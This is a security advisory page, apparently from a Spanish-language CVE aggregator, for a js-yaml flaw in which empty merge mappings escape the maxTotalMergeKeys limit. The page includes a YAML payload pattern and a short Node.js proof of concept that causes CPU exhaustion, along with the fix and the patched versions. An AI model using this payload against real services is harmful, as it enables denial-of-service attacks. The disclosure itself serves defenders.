GHSA-2883-XCG3-V3HH
js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.15.2 | js-yaml · -13 d desde divulgación | |
| Remediación | Parche 4.3.2 | js-yaml · -13 d desde divulgación | |
| Divulgación | Publicada | GHSA-2883-XCG3-V3HH divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Summary
`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.
Example
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
- <<: *arr # repeated K timesFor every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.
PoC
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = 20000
const src =
'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
'targets:\n' +
' - <<: *arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11_SCHEMA })
console.log(`${(performance.now() - started).toFixed(1)} ms`)Observed results:
| N | YAML size | Time |
|---:|---:|---:|
| 800 | ~13 KB | ~20 ms |
| 3200 | ~50 KB | ~180 ms |
| 20000 | ~500 KB | ~13 s |
Impact
An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.
Fix
Count each merge-source mapping as one budget unit, in addition to counting its keys.
Difference with v5
In v3 & v4, merge is enabled by default. So, the severity score is higher.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmjs-yaml |
Corregida | 3.15.2, 4.3.2 | -13 d · -13 d | 5.5.0 no afectada |
3.15.24.3.2Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-84375https://github.com/nodeca/js-yaml/security/advisories/GHSA-2883-xcg3-v3hhhttps://github.com/nodeca/js-yaml/pull/797https://github.com/nodeca/js-yaml/commit/3485bc06ff8a0251505f44a00414d90df2466639https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480https://github.com/nodeca/js-yaml/commit/d90b6612a5a84385bdcb556c44578eac76dc0f6bhttps://github.com/nodeca/js-yamlhttps://github.com/nodeca/js-yaml/releases/tag/3.15.2https://github.com/nodeca/js-yaml/releases/tag/4.3.2Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
